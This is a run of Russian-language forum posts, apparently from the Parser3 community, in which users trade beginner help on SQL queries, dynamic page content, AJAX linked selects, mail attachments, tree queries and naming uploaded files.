Зачем это нужно? Это нужно для защиты от так называемых SQL инъекций, когда данные принимаемые от пользователя вставляются в SQL запрос. Кроме того,\
может существовать ограничение на максимально допустимый размер текста запроса за который можно легко выйти\
передав в условие WHERE большую строку. Сужествует ещё много способов применений данного типа запросов.\
\
Сделана версия как для 3.3, так и для 3.2 качать как всегда отсюда http://www.egoroff.spb.ru/portfolio/download/"
"68185","Возможно ли сделать такую выборку одним mysql-запросом?\
\
Нужно выбрать из строки с известным ID, колонки из известного набора, значение которых равно 1, т.е. чтото вроде\
[code]\
SELECT colName1_если=1, colName2_если=1, colName3_если=1 FROM [i]tableName[/i] WHERE id='$id'\
[/code]\
В конечную таблицу должны попасть колонки, с флагом \"1\".\
Поковырял ману по mysql, ничего путевого не вышло, в итоге реализовал одним mysql-запросом и несколькими Парсерными.\
\
Подскажите, как можно сделать."
"68187","такая проблема, мне  на хостинге заблокировали cgi-bin \
в тех поддержк сказали что parser.cgi слишком часто делает запросы к апач. они правы или нет ?"
"68188","Я бы сказал наоборот. Апач делает запросы к парсеру. НУ а частота зависит от того, насколько часто запрашивают страницы, которые парсер обрабатывает. И это нормально. Есть подозрение что менять надо такого хостера. Потому как следующей фишкой будет \"парсер слишком зеленый и круглый\""
"68193","Наконец-то все проблемы с установкой решил.\
[url=\"http://www.parser.ru/f/1/download/utils/parser3test_russian.zip\"]_test.html[/url] заработал почти без красных букв.\
Не могу не привести лишь один забавный и пугающий момент. Вот кусочек вывода _test.html:  \
[quote]\
Определение серверной кодировки MySQL: $request:charset (UTF-8) не совпадает с переменной MySQL сервера character_set/character_set_client (SQL сервер вернул значение utf8).\
Если вы уверены, что символы из кодировки UTF-8 могут быть без потери преобразованы в кодировку UTF8 и обратно, то в строке соединения вам нужно задать параметр: ?ClientCharset=UTF8, при этом парсер будет перекодировать в указанную кодировку отправляемые MySQL серверу запросы (из кодировки $request:charset), а также перекодировать полученные от него результаты обратно.\
\
SQL преобразование строки с русским алфавитом к верхнему регистру: преобразование прошло корректно, скорее всего кодировки настроены верно. [/quote]\
\
Легкое волнение я ощущаю. Справится ли Парсер с перекодировкой utf-8 в utf8???"
"68195","Да все верно.. парсер слишком часто делает запросы к апачу.. хотя сайт пока даже раскрутку не начал.. я просто начал его тестить..\
\
пообщался с тех поддержкой мне сказали, что меняй тариф на \"бизнес\" а это 7$ в месяц\
все неограничего .. разница лишь только в квоте в 700мб.. хотя мне и 50 хватает..\
и еще сказали что его просто перенесут на другой сервер где находяться сайты у которых много запросов к апачу..\
\
как сказали что после доплаты и смены тарифа.. проблем с тем что parser3 часто обращаеться к CGI не будет... там это будет включено..\
\
или лучше сменить хостинг ?\
\
по запросам мне нужно только метров 50 дискового пространства.\
1БД MySql perl, email и ftp ну и сам parser соответственно\
\
может кто скажет где есть нормальный еще хостинг с оплатой не более 3$\
сейчас пока я плачу 1,8$"
"68196","Подскажите пожалуйста, что не так в коде:\
[code]\
^connect[$connect_string]{\
	^void:sql{update enviroment\
	SET center='Moskva'\
	}\
}\
[/code]\
\
Таблица enviroment состоит из одной строки.\
Ошибка:\
[Thu Nov  6 13:34:40 2008] [11160] /wano.html: /var/www/html/wano.html(14:17): 'mysql://****@localhost/wano?charset=utf8' result must not contain more then one row [parser.runtime] [uri=/wano.html, method=GET, cl=0]"
"68197","Нашел в чем проблема. Строчка оказалась не одна."
"68198","Приветствую! Давно мечтаю и периодически пытаюсь сделать у себя на сайте связанные селекты в формах с подгрузкой данных во второй \"селект\" в зависимости от параметра, выбранного в первом \"селекте\". Куча примеров в сети, но видимо я так недалёк, что до сих пор ничего у меня не заработало как надо. :-( \
Интересует вариант с динамической подгрузкой данных из базы. Может кто будет так добр поделиться готовым решением на Парсере + Аякс? Или какие вообще тут могут быть варианты? Буду безмерно благодарен за помощь!"
"68199","если данных - килобайт пятьдесят, можно загнать всё в код javascript на странице - см. http://lj.bougakov.com/table/my/add.html"
"68200","Но нужно тянуть из базы..."
"68201","[code]content_id	code\
1	^login[]\
2	^forgot[]\
3	^profile[][/code]\
почему-то это просто вставляет в html:\
^login[]^forgot[]^profile[]\
:( как сделать, чтобы вставлялся выбранный модуль?"
"68203","[code]@auto[]\
^if(def $form:do && $form:do eq \"$dyncontent.content_id\"){\
	$response:location[http://$env:SERVER_NAME/] \
}{\
	ошибка...\
}\
@dynamic_content[]\
	$dyncontent[^table::load[/system/dyncontent.cfg]]\
^if(def $dyncontent){\
	^dyncontent.menu{\
		  $dyncontent.code\
	}\
}{\
  ошибка!\
}[/code]"
"68204","это код, который работает с этой таблицей...\
а в индекс.хтмл он вызывается с помощью ^dynamic_content[].\
и вот я хочу, чтобы оно втавляло динамически один из нужных модулей, которые \"вызваны\" в таблице...\
может всю эту идею можно как-то проще осуществить? чё-то я намудрил..."
"68205","http://www.parser.ru/docs/lang/opprocess.htm\
[quote]\"Удобно использовать, если какие-то части кода или собственные методы необходимо хранить не в файлах .html, которые обрабатываются Parser, а в каких-то других, или базе данных.\"[/quote]"
"68206","[code]@dynamic_content[]\
^process[$dyncontent[^table::load[/system/dyncontent.cfg]]]{\
^if(def $dyncontent){\
	^dyncontent.menu{\
		  $dyncontent.code\
	}\
}{\
  ошибка!\
}\
}[/code]"
"68207","Есть парсерный скрипт (работает по cron) по рассылке писем с хостинга (Караван) по списку. Условие -- каждому уходит персональное письмо. В письме текст и аттач.\
\
Покак аттач-файл маленький -- все хорошо. Как только размер переваливает за 200k -- начинаю получать сообщения:\
\
GC Warning: Repeated allocation of very large block (appr. size 610304):\
        May lead to memory leak and poor performance.\
\
причем при отправке 8 писем таких сообщений от 1 до 4 бывает.\
\
если кол-во писем увеличивать -- то warnings перерастает в ошибку.\
\
а требуется же за раз рассылать около 200 писем.\
\
рассылаю как в хелпе:\
\
^mail:send[ \
...\
$.file[\
$.value[^file::load[binary;/.filedoc/$keyfile]]\
$.name[this_is_file.$fileext]\
]\
...\
]\
\
($fileext расширение, $keyfile имя временного файла для отправки)\
\
сам ^mail:send сидит в фунции, которая вызывается в цикле обхода SELECTа в котором выбран список емайлов"
"68208","Для реализации адаптера между DB и XML нужно чтоб table::sql кушал запросы к базе переданные ему в виде строкового параметра, но он шлет лесом пишет что sql query empty, ибо.. вообщем простой вопрос - см. заголовок. Чесно..лом ковырятся в коде этого table:sql на данный момент"
"68209","и используйте преобразование в base64 (в настоящий момент оно менее рессурсоёмко чем uuencode)"
"68210","пробовал делать локальную переменную $fileattach в функции которая вызывает функцию с send:mail -- и грузить 1 раз во внешей функции -- не помогло (как мне тогда показалось)\
\
сегодня эксперементировал с uue и 64 -- выяснилось что стабильно с 64 на 2-3 варнинга больше, чем с uue (это все на тех же 8 письмах)\
\
сам удивился -- т.к. читал ту ветку где был разговор что в uue есть (были?) потери памяти\
\
еще думал что может поможет отказ от использования полей $fileattach.size после загрузки файла в $fileattach -- и перешел на отдельный запрос stat -- тоже не помогло.\
\
\
p.s. но если вы уверены что это поможет -- я еще раз попробую"
"68212","[code]\
@aaa[]\
$result[yes]\
\
\
@method[]\
$tab[^table::create{id	code\
1	^aaa[]\
}]\
\
\
^tab.menu{\
	^process{$tab.code}\
}\
\
@main[]\
^method[]\
[/code]\
\
метод выводит yes\
\
но это только пример.\
я думаю дальше разберётесь сами..."
"68213","Метод aaa выполняется в момент вызова конструктора таблицы и вызов процесса эквивалентен ^process[yes], а это не то, что требовалось.\
\
Надо учитывать, что таблица может содержать только строки и никакой \"код\" хранить не получится. Максимум, что можно сделать при таком подходе - хранить в таблице имя метода, который нужно вызвать:\
\
[code]\
  $t[^table::create{method\
aaa\
  }]\
\
  ^t.menu{\
     ^process{^^${t.method}[]}\
  }\
[/code]\
\
p.s. Вобще мне кажется, что исходная задача (про которую нам вопрошающий так внятно и не рассказал) решается совершенно другими средствами."
"68216","[code]\
@dynamic_content[]\
$dyncontent[^table::load[/system/dyncontent.cfg]]\
^if($dyncontent){\
	^dyncontent.menu{\
		  ^process{$dyncontent.code}\
	}\
}{\
  ошибка!\
}\
[/code]\
\
Но делать так не стоит... тем более, что Вы храните потенциально-опасный конфиг в веб-пространстве."
"68217","Вот тут есть пример, где серверная часть выполнена на ASP:\
\
http://www.webonweboff.com/widgets/ajax/ajax_linked_selection.aspx\
\
Попытался сделать подобное на Парсере. Не вышло. \
Повторю, что база большая, и нужно решение наподобие примера по ссылке. \
\
Неужели никто с этим не сталкивался? Или это большой секрет программистов на Парсере? ;)"
"68218","Пока вы не напишите хоть какой-то код и не покажете, что самостоятельно пытались что-то сделать — никто за вас ничего писать не будет.\
Более того, код — не самоцель, достаточно сесть, проанализировать задачу и написать себе (и сюда) шаги её решения.\
\
Пока работы мысли не видно, видно только попрошайничество."
"68219","что в нём опасного? никто не имеет доступ ни к .p ни к .cfg, да и в конфиге ничего особо важного нет..."
"68220","я догадывался, что всё можно сделать гораздо проще, но стал всё делать сложным путём, как обычно никто не делает...\
может кто-то подскажет каким способом можно осуществить это?\
я хочу сделать динамический контент средствами парсера, точнее, чтобы динамическим хотя бы был один DIV в сайте, чтобы если например я зашёл на index.html?do=register, то в этом диве загружалась форма регистрации, а если зайду на index.html?do=forgot, то форма фосстановления пароля к примеру..."
"68221","Разобрался в сути проблемы но решения так и не нашел, суть проблемы иная, а именно:\
Не передаются параметры функции:\
Функция в /data/auto.p\
[code]@function[param1,param2]\
^connect[$connect-string]{$table_sql[^table::sql{param1}]}\
[/code]\
\
connect-string прописан в корневом auto.p: \
$connection-string[mysql://user:pass@localhost/base?charset=cp1251]\
param1:\
$param1[select * from table]\
\
ошибки:\
1. по connect-string:'connect' connection string must start with protocol:// \
2. по param1: sql query is empty"
"68222","... у парсера есть встроенная система для реализации подобной динамики. Понятно, что будет /register/, /forgot/ и пр., а не ужасный /index.html?do=register (так вобще нельзя делать, хотя на ПХП такого ужаса наплодили достаточно)."
"68223","...переменные $connect-string и $connection-string - это разные переменные. Вы уж определитесь, что вы передаете методу.\
\
А вобще Вы явно бросились писать код не читая документацию (лучше целиком) и домысливая, увиденнй где-то код...\
\
[code]\
  ^connect[$connect-string]{\
# Можно прямо писать запрос\
    $t[^table::sql{select field1, field2 from table}]\
# А можно и через переменную (только здесь это не нужно)\
    $query[select field1, field2 from table]\
    $t[^table::sql{$query}]\
  }\
[/code]\
\
p.s. http://www.parser.ru/examples/sql/"
"68224","С connect-string решилось следующим образом - нужно было указывать такк:\
[code]^connect[$MAIN:connect-string]{}[/code]\
\
а вот как передавать param1  я так и не понял"
"68225","виноват, но просто когда указывал тут суть проблемы опечатался - переменные там одни и те же"
"68227","сейчас такой код намутил, работает, но не воспринимает разные значения \"do\"... т.е. всегда do=login \
\
[code]$dyncontent[^table::load[/system/dyncontent.cfg]]\
^if(def $dyncontent.name && $dyncontent.name eq \"login\"){\
   ^process{^^login[]}\
}{\
   ошибка, dyncontent.name = $dyncontent.name\
}\
^if(def $dyncontent.name && $dyncontent.name eq \"register\"){\
   ^process{^^register[]}\
}{\
   ошибка, dyncontent.name = $dyncontent.name\
}\
^if(def $dyncontent.name && $dyncontent.name eq \"forgot\"){\
   ^process{^^forgot[]}\
}{\
   ошибка, dyncontent.name = $dyncontent.name\
}[/code]"
"68230","Даю наводку.\
http://www.parser.ru/docs/lang/?opswitch.htm\
http://www.parser.ru/docs/lang/?formfield.htm"
"68231","[code]@auto[]\
^switch[$dyncontent]{\
   ^case[1]{^^login[]}\
   ^case[2]{^^register[]}\
   ^case[3]{^^forgot[]}\
   ^case[DEFAULT]{Ошибка.}\
}\
^if(def $form:do && $form:do == \"$dyncontent\"){\
	$response:location[http://$env:SERVER_NAME/]\
}{\
	ошибка...\
}\
@dynamic_content[]\
$dyncontent[/code]"
"68232","то вы бы не написали такое.\
\
Это не правильно и работать не будет.\
\
Сделайте последовательно _все_ уроки"
"68233","[code]@auto[]\
$dyncontent[^switch[$form:do]{\
   ^case[login]{^process{^^login[]}}\
   ^case[register]{^process{^^profile[]}}\
   ^case[profile]{^process{^^profile[]}}\
   ^case[forgot]{^process{^^forgot[]}}\
   ^case[DEFAULT]{^process{^^login[]}}\
}]\
^if(def $form:do && $form:do eq \"$dyncontent\"){\
	$response:location[http://$env:SERVER_NAME/]\
}{\
	ошибка...\
}[/code]\
[url=\"http://dub.ath.cx/?do=register\"]http://dub.ath.cx/?do=register[/url]"
"68234","То, что Вы пытаетесь выдумать делается гораздо проще и без всякой условной логики. Достаточно разложить по папкам соответствующие index.html и составить нсложный auto.p - все это подробно описано в уроках."
"68235","Взят пример по этой ссылке:\
\
http://www.webonweboff.com/widgets/ajax/ajax_linked_selection.aspx\
\
Код вызова и инициализации Javascript:\
\
[code]\
<script language=\"javascript\" src=\"/js/x_core.js\"></script>\
<script language=\"javascript\" src=\"/js/ylib.js\"></script>\
<script language=\"javascript\" src=\"/js/y_util.js\"></script>\
<script language=\"javascript\" src=\"/js/y_AjaxLinkedSelection.js\"></script>\
<script language=\"javascript\">\
    var params = [\"action=model\",\"culture=en-us\"]^;\
    var countryStates = new ylib.widget.AjaxLinkedSelection(\
                                    \"firm\", \"model\", \
                                    \"ajaxServer.p\", \
                                    \"GET\", params)^;\
</script>\
[/code]\
\
ajaxServer.p:\
\
[code]\
@getmodel[id]\
^connect[$connect_string]{\
   		$models[^table::sql{select \
       			id, name, firm_id\
   		from \
      			models\
      		where firm_id = $id\
      		order by name\
   			}]\
}\
^if(def $models){$result[^models.menu{^[^{text:\\\"$models.name\\\",value:\\\"$models.id\\\",selected:false,\" }{+}]}{$result[]}\
\
^getmodel[$form:id]\
[/code]\
\
HTML:\
\
[code]\
^connect[$connect_string]{\
   			$firms[^table::sql{select \
       			id, name\
   			from \
      			firms\
      		order by name\
   			}]\
<select id=\"firm\" name=\"firm\">\
    <option value=\"\">-- select brand ---</option>\
    ^firms.menu{<option value=\"$firms.id\">$firms.name</option>\
    }\
</select>\
<br />\
<select id=\"model\" name=\"model\">\
</select>\
}\
[/code]\
\
\
И как я говорил, это не работает. Видимо я очень глупый код написал. Вы уж извините. Вот и приходится \"попрошайничать\". Ещё раз прошу извинить."
"68236","[code]\
@Table2DB[table;DBtable;idCol]\
^if(def $table && $table is \"string\"){\
$tab[^table::load[$table]]\
}{\
$tab[$table]\
}\
$columns[^tab.columns[]]\
$tResult[^MAIN:oSql.void{\
		INSERT INTO\
			$DBtable (\
				^columns.menu{^if($columns.column ne $idCol){$columns.column}}[,]\
			)\
		VALUES\
				^tab.menu{($tab.[^columns.menu{^if($columns.column ne $idCol){$columns.column}}])}[,]\
	}]\
[/code]\
\
error:\
[i]'namelinecity' column not found [parser.runtime] [uri=/data/, method=GET, cl=0][/i]\
\
table:\
msid	name	line	city\
1	val1	val2	val3\
\
\
[b]грабли где?[/b] ни как не пойму"
"68237","кстати загоняемый table - tab delimited - там все честно"
"68238","разобрался , спасибо"
"68239","[code]\
$tab.[^columns.menu{^if($columns.column ne $idCol){$columns.column}}]\
[/code]\
Получается $tab.namelinecity"
"68240","в подтверждение слов выдержка из мануала:\
^таблица.columns[]    \
^таблица.columns[имя столбца]   [3.2.2] \
\
Метод создает именованную таблицу из одного столбца, содержащего заголовки столбцов исходной таблицы. \
Имя столбца - [b]«column»[/b] или переданное имя столбца.\
\
Помимо этого, он даже выбирает из именновой таблицы columns столбец с значениями (которые суть названия столбцов таблицы tab), а далее проблема раздваяйца: \
\
1. либо table.menu дергает в произволной последовательности значения столбца и в итоге ругается sql из-за несовпадения очередности следования полей таблицы из базы в сравнении с очередностью полей в запросе.\
\
2. либо table.menu не ставит разделитель между полями, потому что я как то не так понял синтаксис этого метода"
"68241","забыл разделитель поставить у одного из table.menu"
"68242","даже не знаю, уверен я или нет.\
\
для начала: GC warnings я наблюдал только для debug версий бинарников, которые в общем только для debug-а и рекомендуются (работают они медленнее, жрут больше памяти, некоторые тесты парсера с ними не проходят, т.к. например переполняется стек, ибо debug версия хрянит большую кучу всего и при глубоких рекурсиях не хватает стандартных ограничений).\
\
release версия быстрее, менее требовательна к памяти, именно с ней я и произвожу все замеры. именно на ней я производил замеры base64/uue и именно на ней я наблюдал, что первый способ кодирования вложений менее требователен к рессурсам."
"68243","извините, сразу не сообразил сказать -- сайте установлен:\
\
[Mon Nov 10 12:56:28 2008] [20208] Parser/3.3.0 (compiled on i386-unknown-freebsd6.3) [no request info]\
\
как я понимаю -- это же не debug-версия?\
\
p.s. а про уверенность спросил, т.к. сам по этому пути (загрузка в единую переменную) уже ходил. хотя допускаю, что тогда что-то сделал не так. попробую еще раз."
"68244","как на парсере выполнить действие, аналогичное функции list на php?"
"68245","На php не пишу. На мой взгляд функцию list можно заменить хэшом. По аналогии со справкой php:\
[code]$hash_info[\
$.drink[coffee]\
$.color[brown]\
$.power[caffeine]\
]\
\
$hash_info.drink is $hash_info.color and $hash_info.power makes it special.[/code]\
\
з.ы. честно говоря мне такая функция никогда не понадобилась"
"68246","ну например надо взять данные из ячейки таблицы mysql, в которой:\
parameter1|parameter2|parameter3|parameter4\
т.е. мне нужно брать параметры, но не брать символ \"|\", ну чтобы этот символ служил разделителем для данных."
"68247","Получить разбить строку части можно так (читайте документацию, там все очень понятно написано):\
[code]$sString[parameter1|parameter2|parameter3|parameter4]\
\
$tParams[^sString.split[|]]\
^tParams.menu{\
	$tParams.piece\
}[,][/code]\
\
А функция (точнее, конструкция языка) [b]list()[/b] в php выполняет несколько иную функцию, чем вы описали."
"68248","для наглядности можно посмотреть [url=\"http://dub.ath.cx/albums/\"]здесь[/url]...\
\
[code]@albums[]\
$connect-string[mysql://блаблаблатутвсёправильно]\
^connect[$connect-string]{\
   $content[^table::sql{\
   SELECT * FROM jos_content\
   }]\
}\
<form action=\"./\" method=\"get\">\
 <p><select name=\"s1\">  \
     <option disabled>id</option>\
^content.menu{\
     <option value=\"$content.id\">$content.id</option>\
   }\
    </select></p>\
 <p><input type=\"submit\" value=\"Отправить\"></p>  \
</form>\
    ^if($form:s1 == ^process{^$content.id}){\
       ^connect[$connect-string]{\
          $content[^table::sql{\
             SELECT * FROM jos_content\
             WHERE id='^$form:s1'\
          }]\
       }\
       <table>\
       <tr><td>$content.title</td></tr>\
       <tr><td>^process{$content.introtext}</td></tr>\
       <tr><td>^process{$content.fulltext}</td></tr>\
       <tr><td>$content.images</td></tr>\
       </table>\
       ^rem{###########debug below##############}\
       <p style=\"font-family: tahoma^; text-align: left^;\">\
       debug:<br />\
       ^$form:s1 = $form:s1<br />\
       ^$content.id = $content.id<br />\
       ^^process{^^^$content.id} = ^process{^$content.id}</p>\
    }{\
       ^rem{###########debug below##############}\
       <p style=\"font-family: tahoma^; text-align: left^;\">ERROR!<br />\
       debug:<br />\
       ^$form:s1 = $form:s1<br />\
       ^$content.id = $content.id<br />\
       ^^process{^^^$content.id} = ^process{^$content.id}</p>\
    }[/code]"
"68249","Сначала объясните, что делает этот кусок кода:\
[code]^if($form:s1 == ^process{^$content.id}){\
	...\
}[/code]\
\
Потом - напишите что вы хотите получить. И не ленитесь читать документацию и примеры. \
\
P.S. Да и выполнение уроков из документации тут явно необходимо."
"68250","я хочу, чтобы я мог выбрать из поля select ид, который соответствует иду в базе, и чтобы по этому иду вывелось содержимое других ячеек таблицы.\
там типа:\
id	title	introtext	fulltext	images\
1	one	blablabla	blablabla	blablabla\
5	five	blablabla	blablabla	blablabla\
7	seven	blablabla	blablabla	blablabla\
\
я выбираю селектом ид, и если выбранный ид = \"1\", то $content.title должно быть \"one\" и т.д... но выборка не происходит.\
надеюсь понятно объяснил"
"68251","[code]^if($form:s1 == ^process{^$content.id}){\
	...\
}[/code]\
\
это:\
\
[code]если(число-которое-я-выбрал-селектом равно иду-в-бд){\
то идём дальше}[/code]"
"68252","1. Уберите из него все операторы process.\
2. Уберите все лишние птички ^ - у вас именно из-за них и проблемы.\
3. Прочтите наконец документацию и примеры. Для вас будет открытием, что \"==\" отличается от \"eq\" и т.д. и т.п.\
\
А до начала написания кода продумайте алгоритм (словами на бумажке) и, возможно, Вы сами увидите, что все это можно реализовать проще.\
\
p.s. И никогда не пишите в рабочем коде \"select * ...\""
"68253","ну это ок.\
да где ж писать тогда этот \"select *\" и что в этом страшного?\
чёрт..."
"68255","уже который раз это читаю))\
\
а как можно уравнять значения $content.id и $form:s1?\
например $content.id[$form:s1] не будет работать..."
"68257","да где же это?\
тщательно пересматривал пункты, нигде нет того, что нужно...\
дайте пожалуйста конкретную ссылку?"
"68258","Тред закрыт."
"68259","[code]$.bKeepRatio[/code]	- флаг сохранения пропорций (по умолчанию 0) \
\
0 это значит что пропорции сохраняються или нет ?"
"68260","Естестенно, 0 — не сохранять."
"68261","Насколько неоптимальным является данный код, выводящий через запятую всех детей заданного родителя в БД. У меня такое чувство, что это не самый простой вариант.\
\
[code]# SELECT ALL CHILDS OF PARENT\
# Childs — id\
# Parents — parent_id\
#\
# Using:\
# ^modLib:Childs[\
#	$.cTable[]\
#	$.cParentId()\
# ]\
# --------------------------------------------------------------------------------------------------\
@Childs[h]\
$cElements[^cTreeGetElements[$h]]\
$hTree[^cTreeCreateHash[$cElements]]\
$result[^cTreePrintElementsByParent[$hTree;$h]${h.cParentId}]\
\
@cTreeGetElements[h] \
$result[^oSql.table{SELECT * FROM $h.cTable}]\
\
@cTreeCreateHash[tElements] \
$result[^tElements.hash[parent_id][$.distinct[tables]]] \
\
@cTreePrintElementsByParent[hTree;h]\
^if($hTree.[$h.cParentId]){\
	^hTree.[$h.cParentId].menu{\
		cTreePrintItem[$hTree.[$h.cParentId].fields;$h;^if($hTree.[$hTree.[$h.cParentId].id]){^cTreePrintElementsByParent[$hTree;$.cParentId($hTree.[$h.cParentId].id) $.cTable[$h.cTable]]}]\
	}\
}\
\
@cTreePrintItem[hTree;h;sBody]\
$result[${hTree.id},$sBody][/code]\
\
Мне это нужно для последующего использования в запросе к MySQL в IN (1,2,3,4,...).\
\
Подскажите, как это можно сделать проще?"
"68263","Введите thread_id и всё сведётся к:\
[code]\
@...[iThreadID] \
$result[^oSql.table{SELECT item_id FROM table\
WHERE thread_id = ^iThreadID.int(0)\
AND item_id != thread_id}]\
$result[^result.menu{$result.item_id}[,]]\
[/code]\
\
Так же можно применять [url=\"http://www.parser.ru/forum/?id=52921\"]другие хитрые способы хранения деревьев в БД[/url].\
Рекурсивное доставание — только на крайний случай, когда данных немного и глубина уровней ограничена."
"68264","если у вас есть только id и parent_id то вариантов собственно всего два:\
\
1. достать всё, и на основании указанного id/parent_id рекурсивно найти всех наследников\
2. рекурсивно доставать по одному уровню\
\
какой из этих методов будет быстрее сильно зависит от данных.\
например если у вас в дереве 5000 объектов, а средняя глубина 3-5, то скорее всего второй метод будет работать быстрее.\
\
если в дереве всего 100 объектов, то скорее всего быстрее будет работать доставание всего списка объектов.\
\
\
чтобы ускорить задачи доставания списка наследников существуют разные стратегии, которые подразумевают хранение в дереве доп. информации. этих стратегий не так много (основных вроде 4, плюс небольшие вариации), и все они тут уже обсуждались и ссылки на их подробные описания приводились.\
\
\
если же вопрос был не про общий подход выбора наследников из БД, а про парсерный алгоритм обхода всех наследников в дереве, то я не вижу глобальных косяков, особенно учитывая тот факт, что всё это уже описано в примерах :)\
\
а по мелочам то:\
- я бы символом ',' рулил бы не в cTreePrintItem, а в cTreePrintElementsByParent\
- я бы всё таки создал бы локальные переменные для таблиц уровня. глубокие хеш-лукапы в циклах не ускоряют эти самые циклы\
- SELECT * я бы в жизни не написал"
"68265","вобщем такая задумка..\
загружаю файл через форму на сервер, но при загрузке имя файла должно смениться на ${last_id}_${form:path_file.name}\
\
но не получаеться вот код\
[code]<form method=\"POST\" enctype=\"multipart/form-data\">\
<input type=\"file\" name=\"path_file\"></td>\
</form>\
\
\
      ^MAIN:dbconnect{\
#добавляем файл продукта на сайт\
         ^void:sql{insert into products\
            (path)\
         values (\
	    '$file_on_server'\
         )}\
# вычисляем последнее значение ID в базе\
	$last_id[^int:sql{SELECT DISTINCT last_insert_id() FROM products}[$.limit{1}]]\
\
#сохраняем файл на сервер\
	^form:path_file.save[binary;/products/public/${last_id}_file_${form:file_products.name}]\
\
# в переменную $file_path заношу путь к файлу от корня веб сервера \
	$file_on_server[/products/public/${last_id}_file_${form:path_file.name}][/code]\
\
проблема в том что все выполняеться последовательно..\
т.е. я не смогу сохранить путь к файлу в базе, сам то файл на сервер добавляеться и с новым именем.. но как это в БД в нести ? новое имя файла ?\
\
можно как то это сделать ? или придеться в два прохода делать ? сначала.. сохранить на сервере.. потом потом сделать update в базе с рисвоением нового имени фала., а потом и переименовать сам файл .. ?"
"68266","Тем, кому нужно загружать данные с удаленного сервера по https , делать POST на сторонний сервер, передавая одним из параметров файл, и не дай бог пост файла через https, предлагаю попробовать воспользоваться патчами:\
\
http://madgroup.ru/buben/parser/"
"68268","Спасибо за патч.\
Возможно, скоро пригодится."
"68269","Да, последовательно, но могут быть конкурирующие запросы от разных пользователей.\
Атрибут action в form можно указывать на обработчик, но можно принимать и обрабатывать данные тем же скриптом (при срабатывании условия получения данных скриптом).\
Можно использовать hidden для передачи параметров, но надо помнить что не каждая сгенерированная форма пошлёт вам файл.\
Ведь вам не надо чтобы реальные файлы на сервере именовались пользователями? Тогда именовать их можно по собственному алгоритму, а в базу прописывать соответствия переданных и сохранённых имён файлов.\
в документации кстати описана работа с файлами в формах: http://www.parser.ru/docs/lang/formfiles.htm"
"68270","вобщето это мне для админки нужно, там только лично я буду файлы добавлять и больше никто, так что каждая форма будет посылать файл.. на крайний случай сделаю проверку на наличие файла..\
\
только вопрос так и не решился.. как внести путь к файлу ? ведь $last_id я узнаю только после того как файл добавлен..., т.е. уже отправлен.. на сервер. получаеться переименовывать его нужно после отправки и потом делать update в базе.. это слишкоом громоздко получаеться.."
"68271","Достаточно богатый набор текстов можно увидеть на сайте интербейзовцев:\
\
\"Древовидные и иерархические структуры, хранение объектов\"\
http://www.ibase.ru/develop.htm#prog"
"68272","Только завернуть бы эту операцию в нормальную транзакцию, чтобы можно было откаить, если возникнет ошиба при записи на диск."
"68273","В вашем примере:\
-добавление файла продукта на сайт;\
-вычисление последнего значение ID в базе;\
-сохранение файла на сервер\
и т.п. \
должно выполняться [b]после получения[/b] сервером файла!\
Это означает что нет никакого противоречия между переименованием, update в базе и что там ещё.\
Ничто не мешает вам получив файл назвать его как угодно и сделать запись об этом в базе."
"68274","спасибо за совет про base64 -- сам бы я не вернулся к повторным тестам (как я уже писал -- в пробах до вашего совета base64 не давала выигрыша, а моментами казалось что были еще и проигрыш)\
\
хотя\
base64 вместо uue на рассылке в 5 писем помогло\
а вот на 15 -- все таки 1 варнинг проскочил\
\
буду пробовать с выносом переменной мз send"
"68275","нужна ли регистрация файлов в базе вообще.\
\
Если это просто иллюстрация товара, достаточно складывать файл с определённым именем по определённому пути.\
А при выводе товара проверять, нет ли файла с оговоренным путём.\
Ну и актуальность поддерживать по минимуму: при удалении объекта прибивать файл, при перемемещии перекладывать и т.п."
"68276","Собственно, предложение сделать такое поля для date.\
Или все-таки лучше использовать свой метод?"
"68277","Да подход нормальный.\
только вот какая получаеться последовательность\
\
1. открываем форму\
2. прикрепляем файл\
А дальше проблема\
Просто сохранить файл на севере я могу, но он будет иметь первоначальное имя!,  а мне нужно чтобы оно начиналось с ID добавленной записи. а ID я могу вычеслить только после внесения в базу записи..  а если запись в базу внесена. то и форма получаеться отправлена, потом отдельно еще раз придетья переименвывать файл.. и парвить старое имя файла на новое в самой базе\
\
вот и незнаю как сделать."
"68278","[quot]\
Просто сохранить файл на севере я могу, но он будет иметь первоначальное имя!\
[/quot]\
\
кто вас заставляет его сохранить под старым именем-то?\
вы же сами пишите ^file:img.save[/path/to/filename.ext]\
поэтому указывая имя файла вы можете подставить туда:\
- $file:img.name\
- ^math:uid[].^file:justext[$file:img.name]\
- last_insert_id().^file:justext[$file:img.name]\
...\
\
[quot]\
а если запись в базу внесена. то и форма получаеться отправлена\
[/quot]\
\
кто вам мешает в одной серверной транзакции:\
- добавить новую запись в БД\
- получить last_insert_id() добавленной записи\
- сохранить файл (который в этот момент ждёт в form:xyz) как вам больше нравится\
- если в БД вам нужно вписать явно имя файла, которое будет зависеть от last_insert_id() то сделать update только что добавленной записи (хотя зачем это я не знаю)\
- вывести что-либо пользователю или сделать редирект для защиты от Reload\
\
?"
"68279","В вашем случае:\
1. Заносите в базу пустую запись (у которой поле path is null).\
2. Получаете ее id.\
3. Сохраняете файл на диск и обновляете запись в БД.\
\
С другой стороны не совсем понятно зачем Вам нужно имя с которым файл храненится на диске, если его можно ычислить. Т.е. можно сделать примено так:\
1. Пишете функцию, которая по id и имени формирует полное имя файла (возможно, добавляя к ней путь).\
2. Заносим в базу запись с именем файла (оригинальным).\
3. Получаете id записи.\
4. Сохраняете на диск файл в нужном формате (id_original_file_name.ext).\
5. Там где нужно зовете функцию из п. 1, которая сделает вам нужное имя.\
\
А лучше на диске вобще не хранить оригинальное имя (особенно если там какие-нибудь русские буквы, а локаль настроена некорректно). Запишите файл в формате id.ext, а если понадобится оригинальное имя, то всегда можно реализовать прокладку с помощью response:body  через которую выдавать файл с оригинальным или комбинированным именем."
"68280","вобщем все понятно, придеться делать через udpdate\
\
ну вобщем для чего мне это нужно.\
размещаю файла(электронного продукта, типа электронной книги или айдио записи или видео)  на сайт чтобы его могли скачать люди которым он нужен. + ко всему этому я размещаю и обложку этого файла, картинку того что они купят или скриншот проги..\
с картинками все сделал.., все нормально, и размер меняет динамически выставляя процент для уменmiения.. независимо от реального размера.. и файл меняеться, но так как это картинки.. то их я в базу не заношу.. т.е. путь не заношу у них статическое имя.. типа $id_small_pict.jpg и $id_big_pict.jpg\
там просто путь вставляю и переменную ID\
\
вобщем ладно тему можно закрывать сделаю через update"
"68281","в доке нашел такую функцию\
[code]^file:justext[filespec] [/code]\
\
как показано в примере\
